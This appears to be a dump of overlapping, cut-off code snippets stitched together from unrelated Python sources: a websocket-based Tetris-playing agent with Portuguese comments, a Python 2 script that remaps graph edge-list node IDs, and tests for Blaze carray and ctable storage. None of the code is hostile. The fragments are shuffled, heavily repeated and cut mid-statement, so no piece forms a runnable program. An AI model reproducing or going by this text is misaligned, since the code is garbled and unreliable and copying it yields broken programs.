"and piece[1][0] == piece[3][0]: fshape = Shape(T) #L (done) elif piece[0][0] == piece[1][0]",
"= os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\", \"8000\") NAME = os.environ.get(\"NAME\", getpass.getuser()) loop.run_until_complete(agent_loop(f\"{SERVER}:{PORT}\", NAME))",
"# apenas a prineira peça game_speed = state['game_speed'] else: piece = None #",
"coord[0])[0] + 1 # y = max(grid, key = lambda coord : coord[1])[1]",
"agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information about static game properties",
"da peça atual _fs = copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords: coords[0])[0]",
"tup in initial_info['grid']} x = max(grid, key = lambda coord : coord[0])[0] +",
"out of sync with the server shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066 B",
"== piece[2][0] and piece[2][1] == piece[3][1]: fshape = Shape(L) return fshape # DO",
"server if keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) # Peça recebida",
"of sync with the server if keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)})",
"e calcular as keys consoante o lookahead all_keys = [] # grid =",
"piece[3][1]: fshape = Shape(O) #J (done) elif piece[0][1] == piece[1][1] and piece[0][0] ==",
"keys = all_keys.pop(0) new_piece = False first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server has",
"all_keys.pop(0) # Encontrar a melhor solução para a nova peça elif first_piece: current_shape",
"encaixada, não existindo nenhuma nova, por agora if piece is None: new_piece =",
"Shape(O) #J (done) elif piece[0][1] == piece[1][1] and piece[0][0] == piece[2][0] and piece[2][0]",
"guarda shape+rotation e todas as teclas possiveis no tabuleiro deça peça para essa",
"== piece[2][1] and piece[2][0] == piece[3][0]: fshape = Shape(S) #Z (done) elif piece[0][0]",
"next_pieces] shapes = None if game_speed <= 25: # lookahead 3 shapes =",
"Shape(I) #O (done) elif piece[0][0] == piece[2][0] and piece[0][1] == piece[1][1] and piece[1][0]",
"elif piece[0][1] == piece[1][1] and piece[0][0] == piece[2][0] and piece[2][0] == piece[3][0]: fshape",
"(done) elif piece[0][1] == piece[1][1] and piece[1][1] == piece[2][1] and piece[2][1] == piece[3][1]:",
"existente vai descobrir TODAS as combinaçoes de teclas q podem ser premidas fshape.set_pos((x",
"= all_keys.pop(0) # Encontrar a melhor solução para a nova peça elif first_piece:",
"lambda coord : coord[0])[0] + 1 # y = max(grid, key = lambda",
"piece[0][0] == piece[2][0] and piece[0][1] == piece[1][1] and piece[1][0] == piece[3][0] and piece[2][1]",
"== piece[3][0]: fshape = Shape(S) #Z (done) elif piece[0][0] == piece[2][0] and piece[1][1]",
"peça elif new_piece: # Caso a peça faça parte do lookahead de uma",
"peça atual _fs = copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords: coords[0])[0] max_x",
"next_shapes = [findShape(shape) for shape in next_pieces] shapes = None if game_speed <=",
"as teclas possiveis no tabuleiro deça peça para essa rotaçao for fshape in",
"import os import websockets from shape import S, Z, I, O, J, T,",
"-0.35663 D = 0.760666 variables = [A,B,C,D] new_piece = True #variavel para saber",
"max(grid, key = lambda coord : coord[1])[1] # print(x,y) while True: try: state",
"elif game_speed > 25 and game_speed < 32: #lookahead 2 shapes = [current_shape]"
] |
[
"(len(sys.argv) > 3 and sys.argv[3] == '-u'): isUndirected = True time_start = time.time()",
"def gen_continuous_id_graph(inputFile, outputFile, isUndirected=False): with open(inputFile, 'r') as fin, open(outputFile, 'w') as fout:",
"'\\n') if isUndirected: fout.write(str(v) + '\\t' + str(u) + '\\n') print 'cur_idx=', cur_idx",
"= idmap[org_v] fout.write(str(u) + '\\t' + str(v) + '\\n') if isUndirected: fout.write(str(v) +",
"[] with open(inputFile, 'r') as fin: for line in fin: if line.startswith('#') or",
"if __name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected = False if (len(sys.argv) >",
"fout.write(str(v) + ' ' + str(u) + '\\n') if __name__ == \"__main__\": #",
"fout: for u,v in edges: fout.write(str(u) + ' ' + str(v) + '\\n')",
"time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time() time_cost =",
"xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort() with open(outputFile, 'w') as",
"org_u,org_v = line.split() u = int(org_u) v = int(org_v) if (u not in",
"str(u) + '\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = []",
"0 idmap = {} for line in fin: if line.startswith('#') or line.startswith('%'): continue",
"import time def gen_continuous_id_graph(inputFile, outputFile, isUndirected=False): with open(inputFile, 'r') as fin, open(outputFile, 'w')",
"with open(outputFile, 'w') as fout: for u,v in edges: fout.write(str(u) + ' '",
"u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort() with open(outputFile, 'w') as fout:",
"idmap: idmap[org_u] = cur_idx cur_idx += 1 if org_v not in idmap: idmap[org_v]",
"= u org_id_list.append(u) if (v not in org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u,",
"{} for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split()",
"= int(org_v) if (u not in org_id_map): org_id_map[u] = u org_id_list.append(u) if (v",
"1 u = idmap[org_u] v = idmap[org_v] fout.write(str(u) + '\\t' + str(v) +",
"= line.split() if org_u not in idmap: idmap[org_u] = cur_idx cur_idx += 1",
"open(inputFile, 'r') as fin: for line in fin: if line.startswith('#') or line.startswith('%'): continue",
"= 0 idmap = {} for line in fin: if line.startswith('#') or line.startswith('%'):",
"v = idmap[org_v] fout.write(str(u) + '\\t' + str(v) + '\\n') if isUndirected: fout.write(str(v)",
"org_id_map[org_id_list[i]] = i for i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v)",
"= v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i",
"in edges: fout.write(str(u) + ' ' + str(v) + '\\n') if isUndirected: fout.write(str(v)",
"org_id_list.append(u) if (v not in org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u, v)) org_id_list.sort()",
"if (v not in org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for",
"isUndirected=False): with open(inputFile, 'r') as fin, open(outputFile, 'w') as fout: cur_idx = 0",
"org_v not in idmap: idmap[org_v] = cur_idx cur_idx += 1 u = idmap[org_u]",
"in org_id_map): org_id_map[u] = u org_id_list.append(u) if (v not in org_id_map): org_id_map[v] =",
"i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort() with open(outputFile,",
"isUndirected: fout.write(str(v) + ' ' + str(u) + '\\n') if __name__ == \"__main__\":",
"org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort() with open(outputFile, 'w') as fout: for u,v",
"continue org_u,org_v = line.split() if org_u not in idmap: idmap[org_u] = cur_idx cur_idx",
"' + str(u) + '\\n') if __name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected",
"'\\n') if __name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected = False if (len(sys.argv)",
"idmap[org_u] = cur_idx cur_idx += 1 if org_v not in idmap: idmap[org_v] =",
"fin: for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split()",
"i for i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort()",
"cur_idx cur_idx += 1 if org_v not in idmap: idmap[org_v] = cur_idx cur_idx",
"= idmap[org_u] v = idmap[org_v] fout.write(str(u) + '\\t' + str(v) + '\\n') if",
"v)) org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i in xrange(len(edges)):",
"+= 1 if org_v not in idmap: idmap[org_v] = cur_idx cur_idx += 1",
"line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() u =",
"edges.sort() with open(outputFile, 'w') as fout: for u,v in edges: fout.write(str(u) + '",
"open(outputFile, 'w') as fout: for u,v in edges: fout.write(str(u) + ' ' +",
"if isUndirected: fout.write(str(v) + ' ' + str(u) + '\\n') if __name__ ==",
"u org_id_list.append(u) if (v not in org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u, v))",
"idmap = {} for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v",
"fout: cur_idx = 0 idmap = {} for line in fin: if line.startswith('#')",
"if org_u not in idmap: idmap[org_u] = cur_idx cur_idx += 1 if org_v",
"+ '\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = [] org_id_map",
"idmap: idmap[org_v] = cur_idx cur_idx += 1 u = idmap[org_u] v = idmap[org_v]",
"isUndirected=False): edges = [] org_id_map = {} org_id_list = [] with open(inputFile, 'r')",
"'\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = [] org_id_map =",
"not in org_id_map): org_id_map[u] = u org_id_list.append(u) if (v not in org_id_map): org_id_map[v]",
"sys.argv[3] == '-u'): isUndirected = True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) #",
"= True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end",
"cur_idx = 0 idmap = {} for line in fin: if line.startswith('#') or",
"= {} org_id_list = [] with open(inputFile, 'r') as fin: for line in",
"(u not in org_id_map): org_id_map[u] = u org_id_list.append(u) if (v not in org_id_map):",
"org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i in xrange(len(edges)): u,v",
"isUndirected = False if (len(sys.argv) > 3 and sys.argv[3] == '-u'): isUndirected =",
"isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time() time_cost = (time_end - time_start)",
"if isUndirected: fout.write(str(v) + '\\t' + str(u) + '\\n') print 'cur_idx=', cur_idx def",
"as fin, open(outputFile, 'w') as fout: cur_idx = 0 idmap = {} for",
"org_id_map[v] = v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] =",
"i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]]",
"as fin: for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v =",
"print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = [] org_id_map = {}",
"[] org_id_map = {} org_id_list = [] with open(inputFile, 'r') as fin: for",
"edges = [] org_id_map = {} org_id_list = [] with open(inputFile, 'r') as",
"False if (len(sys.argv) > 3 and sys.argv[3] == '-u'): isUndirected = True time_start",
"'w') as fout: cur_idx = 0 idmap = {} for line in fin:",
"idmap[org_u] v = idmap[org_v] fout.write(str(u) + '\\t' + str(v) + '\\n') if isUndirected:",
"+ str(v) + '\\n') if isUndirected: fout.write(str(v) + '\\t' + str(u) + '\\n')",
"'\\n') if isUndirected: fout.write(str(v) + ' ' + str(u) + '\\n') if __name__",
"str(v) + '\\n') if isUndirected: fout.write(str(v) + ' ' + str(u) + '\\n')",
"+ '\\n') if isUndirected: fout.write(str(v) + ' ' + str(u) + '\\n') if",
"line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() if org_u",
"get_types(sys.argv[1], sys.argv[2]) isUndirected = False if (len(sys.argv) > 3 and sys.argv[3] == '-u'):",
"sys import time def gen_continuous_id_graph(inputFile, outputFile, isUndirected=False): with open(inputFile, 'r') as fin, open(outputFile,",
"cur_idx cur_idx += 1 u = idmap[org_u] v = idmap[org_v] fout.write(str(u) + '\\t'",
"u,v in edges: fout.write(str(u) + ' ' + str(v) + '\\n') if isUndirected:",
"v = int(org_v) if (u not in org_id_map): org_id_map[u] = u org_id_list.append(u) if",
"# edges.sort() with open(outputFile, 'w') as fout: for u,v in edges: fout.write(str(u) +",
"fout.write(str(u) + '\\t' + str(v) + '\\n') if isUndirected: fout.write(str(v) + '\\t' +",
"+ ' ' + str(v) + '\\n') if isUndirected: fout.write(str(v) + ' '",
"= [] with open(inputFile, 'r') as fin: for line in fin: if line.startswith('#')",
"+ '\\t' + str(v) + '\\n') if isUndirected: fout.write(str(v) + '\\t' + str(u)",
"gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time() time_cost = (time_end - time_start) * 100.0",
"= cur_idx cur_idx += 1 if org_v not in idmap: idmap[org_v] = cur_idx",
"v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for",
"org_id_map): org_id_map[u] = u org_id_list.append(u) if (v not in org_id_map): org_id_map[v] = v",
"sys.argv[2], isUndirected) time_end = time.time() time_cost = (time_end - time_start) * 100.0 print",
"+ str(u) + '\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges =",
"edges: fout.write(str(u) + ' ' + str(v) + '\\n') if isUndirected: fout.write(str(v) +",
"in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() u = int(org_u)",
"str(u) + '\\n') if __name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected = False",
"line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() if org_u not in idmap: idmap[org_u]",
"= org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort() with open(outputFile, 'w') as fout: for",
"in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() if org_u not",
"for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() u",
"for u,v in edges: fout.write(str(u) + ' ' + str(v) + '\\n') if",
"# gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time() time_cost = (time_end - time_start) *",
"int(org_u) v = int(org_v) if (u not in org_id_map): org_id_map[u] = u org_id_list.append(u)",
"== \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected = False if (len(sys.argv) > 3 and",
"'\\t' + str(u) + '\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges",
"' ' + str(u) + '\\n') if __name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2])",
"= False if (len(sys.argv) > 3 and sys.argv[3] == '-u'): isUndirected = True",
"__name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected = False if (len(sys.argv) > 3",
"str(v) + '\\n') if isUndirected: fout.write(str(v) + '\\t' + str(u) + '\\n') print",
"outputFile, isUndirected=False): with open(inputFile, 'r') as fin, open(outputFile, 'w') as fout: cur_idx =",
"= [] org_id_map = {} org_id_list = [] with open(inputFile, 'r') as fin:",
"if (len(sys.argv) > 3 and sys.argv[3] == '-u'): isUndirected = True time_start =",
"gen_continuous_id_graph(inputFile, outputFile, isUndirected=False): with open(inputFile, 'r') as fin, open(outputFile, 'w') as fout: cur_idx",
"(v not in org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i",
"\"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected = False if (len(sys.argv) > 3 and sys.argv[3]",
"edges[i] = (u,v) # edges.sort() with open(outputFile, 'w') as fout: for u,v in",
"cur_idx += 1 u = idmap[org_u] v = idmap[org_v] fout.write(str(u) + '\\t' +",
"and sys.argv[3] == '-u'): isUndirected = True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected)",
"time.time() time_cost = (time_end - time_start) * 100.0 print 'time_cost = %.3fms' %",
"with open(inputFile, 'r') as fin: for line in fin: if line.startswith('#') or line.startswith('%'):",
"for i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort() with",
"line.split() u = int(org_u) v = int(org_v) if (u not in org_id_map): org_id_map[u]",
"line.startswith('%'): continue org_u,org_v = line.split() if org_u not in idmap: idmap[org_u] = cur_idx",
"+= 1 u = idmap[org_u] v = idmap[org_v] fout.write(str(u) + '\\t' + str(v)",
"= time.time() time_cost = (time_end - time_start) * 100.0 print 'time_cost = %.3fms'",
"org_id_map = {} org_id_list = [] with open(inputFile, 'r') as fin: for line",
"fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() u = int(org_u) v",
"if org_v not in idmap: idmap[org_v] = cur_idx cur_idx += 1 u =",
"org_id_list = [] with open(inputFile, 'r') as fin: for line in fin: if",
"org_u,org_v = line.split() if org_u not in idmap: idmap[org_u] = cur_idx cur_idx +=",
"isUndirected) time_end = time.time() time_cost = (time_end - time_start) * 100.0 print 'time_cost",
"fout.write(str(v) + '\\t' + str(u) + '\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile,",
"for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i in xrange(len(edges)): u,v =",
"xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] =",
"u = int(org_u) v = int(org_v) if (u not in org_id_map): org_id_map[u] =",
"if (u not in org_id_map): org_id_map[u] = u org_id_list.append(u) if (v not in",
"= i for i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) #",
"with open(inputFile, 'r') as fin, open(outputFile, 'w') as fout: cur_idx = 0 idmap",
"open(inputFile, 'r') as fin, open(outputFile, 'w') as fout: cur_idx = 0 idmap =",
"'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = [] org_id_map = {} org_id_list",
"(u,v) # edges.sort() with open(outputFile, 'w') as fout: for u,v in edges: fout.write(str(u)",
"in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i]",
"gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = [] org_id_map = {} org_id_list = [] with",
"outputFile, isUndirected=False): edges = [] org_id_map = {} org_id_list = [] with open(inputFile,",
"# get_types(sys.argv[1], sys.argv[2]) isUndirected = False if (len(sys.argv) > 3 and sys.argv[3] ==",
"isUndirected = True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected)",
"= line.split() u = int(org_u) v = int(org_v) if (u not in org_id_map):",
"= {} for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v =",
"in org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i in xrange(len(org_id_list)):",
"3 and sys.argv[3] == '-u'): isUndirected = True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2],",
"' + str(v) + '\\n') if isUndirected: fout.write(str(v) + ' ' + str(u)",
"> 3 and sys.argv[3] == '-u'): isUndirected = True time_start = time.time() gen_continuous_id_graph(sys.argv[1],",
"True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end =",
"'w') as fout: for u,v in edges: fout.write(str(u) + ' ' + str(v)",
"+ str(u) + '\\n') if __name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected =",
"cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = [] org_id_map = {} org_id_list =",
"import sys import time def gen_continuous_id_graph(inputFile, outputFile, isUndirected=False): with open(inputFile, 'r') as fin,",
"time def gen_continuous_id_graph(inputFile, outputFile, isUndirected=False): with open(inputFile, 'r') as fin, open(outputFile, 'w') as",
"1 if org_v not in idmap: idmap[org_v] = cur_idx cur_idx += 1 u",
"= int(org_u) v = int(org_v) if (u not in org_id_map): org_id_map[u] = u",
"+ ' ' + str(u) + '\\n') if __name__ == \"__main__\": # get_types(sys.argv[1],",
"= time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time() time_cost",
"'r') as fin: for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v",
"time_end = time.time() time_cost = (time_end - time_start) * 100.0 print 'time_cost =",
"+ str(v) + '\\n') if isUndirected: fout.write(str(v) + ' ' + str(u) +",
"== '-u'): isUndirected = True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1],",
"if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() u = int(org_u) v =",
"edges.append((u, v)) org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i in",
"+ '\\n') if isUndirected: fout.write(str(v) + '\\t' + str(u) + '\\n') print 'cur_idx=',",
"sys.argv[2]) isUndirected = False if (len(sys.argv) > 3 and sys.argv[3] == '-u'): isUndirected",
"org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]] = i for i",
"gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time() time_cost = (time_end",
"'\\t' + str(v) + '\\n') if isUndirected: fout.write(str(v) + '\\t' + str(u) +",
"{} org_id_list = [] with open(inputFile, 'r') as fin: for line in fin:",
"idmap[org_v] fout.write(str(u) + '\\t' + str(v) + '\\n') if isUndirected: fout.write(str(v) + '\\t'",
"in idmap: idmap[org_u] = cur_idx cur_idx += 1 if org_v not in idmap:",
"continue org_u,org_v = line.split() u = int(org_u) v = int(org_v) if (u not",
"fin, open(outputFile, 'w') as fout: cur_idx = 0 idmap = {} for line",
"org_u not in idmap: idmap[org_u] = cur_idx cur_idx += 1 if org_v not",
"+ '\\t' + str(u) + '\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile, outputFile, isUndirected=False):",
"+ '\\n') if __name__ == \"__main__\": # get_types(sys.argv[1], sys.argv[2]) isUndirected = False if",
"as fout: cur_idx = 0 idmap = {} for line in fin: if",
"line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() u = int(org_u) v = int(org_v)",
"'r') as fin, open(outputFile, 'w') as fout: cur_idx = 0 idmap = {}",
"'-u'): isUndirected = True time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2],",
"cur_idx += 1 if org_v not in idmap: idmap[org_v] = cur_idx cur_idx +=",
"not in idmap: idmap[org_u] = cur_idx cur_idx += 1 if org_v not in",
"int(org_v) if (u not in org_id_map): org_id_map[u] = u org_id_list.append(u) if (v not",
"' ' + str(v) + '\\n') if isUndirected: fout.write(str(v) + ' ' +",
"= (u,v) # edges.sort() with open(outputFile, 'w') as fout: for u,v in edges:",
"fout.write(str(u) + ' ' + str(v) + '\\n') if isUndirected: fout.write(str(v) + '",
"fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() if org_u not in",
"as fout: for u,v in edges: fout.write(str(u) + ' ' + str(v) +",
"open(outputFile, 'w') as fout: cur_idx = 0 idmap = {} for line in",
"line.split() if org_u not in idmap: idmap[org_u] = cur_idx cur_idx += 1 if",
"for line in fin: if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() if",
"line.startswith('%'): continue org_u,org_v = line.split() u = int(org_u) v = int(org_v) if (u",
"or line.startswith('%'): continue org_u,org_v = line.split() if org_u not in idmap: idmap[org_u] =",
"if line.startswith('#') or line.startswith('%'): continue org_u,org_v = line.split() if org_u not in idmap:",
"org_id_map[u] = u org_id_list.append(u) if (v not in org_id_map): org_id_map[v] = v org_id_list.append(v)",
"sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time() time_cost = (time_end -",
"idmap[org_v] = cur_idx cur_idx += 1 u = idmap[org_u] v = idmap[org_v] fout.write(str(u)",
"time_cost = (time_end - time_start) * 100.0 print 'time_cost = %.3fms' % time_cost",
"= cur_idx cur_idx += 1 u = idmap[org_u] v = idmap[org_v] fout.write(str(u) +",
"isUndirected: fout.write(str(v) + '\\t' + str(u) + '\\n') print 'cur_idx=', cur_idx def gen_orgorder_graph(inputFile,",
"or line.startswith('%'): continue org_u,org_v = line.split() u = int(org_u) v = int(org_v) if",
"not in org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i in",
"in xrange(len(edges)): u,v = org_id_map[edges[i][0]],org_id_map[edges[i][1]] edges[i] = (u,v) # edges.sort() with open(outputFile, 'w')",
"u = idmap[org_u] v = idmap[org_v] fout.write(str(u) + '\\t' + str(v) + '\\n')",
"org_id_map): org_id_map[v] = v org_id_list.append(v) edges.append((u, v)) org_id_list.sort() for i in xrange(len(org_id_list)): org_id_map[org_id_list[i]]",
"in idmap: idmap[org_v] = cur_idx cur_idx += 1 u = idmap[org_u] v =",
"time_start = time.time() gen_continuous_id_graph(sys.argv[1], sys.argv[2], isUndirected) # gen_orgorder_graph(sys.argv[1], sys.argv[2], isUndirected) time_end = time.time()",
"def gen_orgorder_graph(inputFile, outputFile, isUndirected=False): edges = [] org_id_map = {} org_id_list = []",
"not in idmap: idmap[org_v] = cur_idx cur_idx += 1 u = idmap[org_u] v"
] |
[
"== ds def test_open_ctable(): with temp_dir() as temp: # Create an table on",
"with temp_dir() as temp: # Create an table on disk table_filename = os.path.join(temp,",
"as temp: # Create an array on disk array_filename = os.path.join(temp, 'carray') p",
"import os.path from blaze.test_utils import temp_dir import blaze.toplevel as toplevel from blaze.params import",
"def test_open_carray(): with temp_dir() as temp: # Create an array on disk array_filename",
"# Open table with open function uri = 'ctable://' + table_filename c =",
"os.path from blaze.test_utils import temp_dir import blaze.toplevel as toplevel from blaze.params import params",
"'carray') p = params(storage=array_filename) ds = dshape('1,int32') a = CArraySource([2], dshape=ds, params=p) del",
"array_filename c = toplevel.open(uri) assert c.datashape == ds # Test delayed mode c",
"= CArraySource([2], dshape=ds, params=p) del a # Open array with open function uri",
"# Open array with open function uri = 'carray://' + array_filename c =",
"ds = dshape('1,int32') a = CArraySource([2], dshape=ds, params=p) del a # Open array",
"an array on disk array_filename = os.path.join(temp, 'carray') p = params(storage=array_filename) ds =",
"params from blaze import dshape from blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass import",
"test_open_carray(): with temp_dir() as temp: # Create an array on disk array_filename =",
"temp: # Create an array on disk array_filename = os.path.join(temp, 'carray') p =",
"= params(storage=array_filename) ds = dshape('1,int32') a = CArraySource([2], dshape=ds, params=p) del a #",
"= toplevel.open(uri) assert c.datashape == ds # Test delayed mode c = toplevel.open(uri,",
"blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass import eclass def test_open_carray(): with temp_dir() as",
"from blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass import eclass def test_open_carray(): with temp_dir()",
"# Create an array on disk array_filename = os.path.join(temp, 'carray') p = params(storage=array_filename)",
"= 'ctable://' + table_filename c = toplevel.open(uri) assert c.datashape == ds # Test",
"CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p) del t # Open table with open",
"os.path.join(temp, 'carray') p = params(storage=array_filename) ds = dshape('1,int32') a = CArraySource([2], dshape=ds, params=p)",
"mode c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds def test_open_ctable(): with temp_dir()",
"with temp_dir() as temp: # Create an array on disk array_filename = os.path.join(temp,",
"an table on disk table_filename = os.path.join(temp, 'ctable') p = params(storage=table_filename) ds =",
"c.datashape == ds # Test delayed mode c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape",
"2)], dshape=ds, params=p) del t # Open table with open function uri =",
"+ table_filename c = toplevel.open(uri) assert c.datashape == ds # Test delayed mode",
"= CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p) del t # Open table with",
"= params(storage=table_filename) ds = dshape('1,{ x: int32; y: int32 }') t = CTableSource(data=[(1,",
"temp_dir() as temp: # Create an table on disk table_filename = os.path.join(temp, 'ctable')",
"blaze.params import params from blaze import dshape from blaze.sources.chunked import CArraySource, CTableSource from",
"import dshape from blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass import eclass def test_open_carray():",
"from blaze.params import params from blaze import dshape from blaze.sources.chunked import CArraySource, CTableSource",
"array_filename = os.path.join(temp, 'carray') p = params(storage=array_filename) ds = dshape('1,int32') a = CArraySource([2],",
"os.path.join(temp, 'ctable') p = params(storage=table_filename) ds = dshape('1,{ x: int32; y: int32 }')",
"'ctable://' + table_filename c = toplevel.open(uri) assert c.datashape == ds # Test delayed",
"del a # Open array with open function uri = 'carray://' + array_filename",
"with open function uri = 'carray://' + array_filename c = toplevel.open(uri) assert c.datashape",
"t = CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p) del t # Open table",
"import temp_dir import blaze.toplevel as toplevel from blaze.params import params from blaze import",
"c.datashape == ds def test_open_ctable(): with temp_dir() as temp: # Create an table",
"a # Open array with open function uri = 'carray://' + array_filename c",
"# Create an table on disk table_filename = os.path.join(temp, 'ctable') p = params(storage=table_filename)",
"temp: # Create an table on disk table_filename = os.path.join(temp, 'ctable') p =",
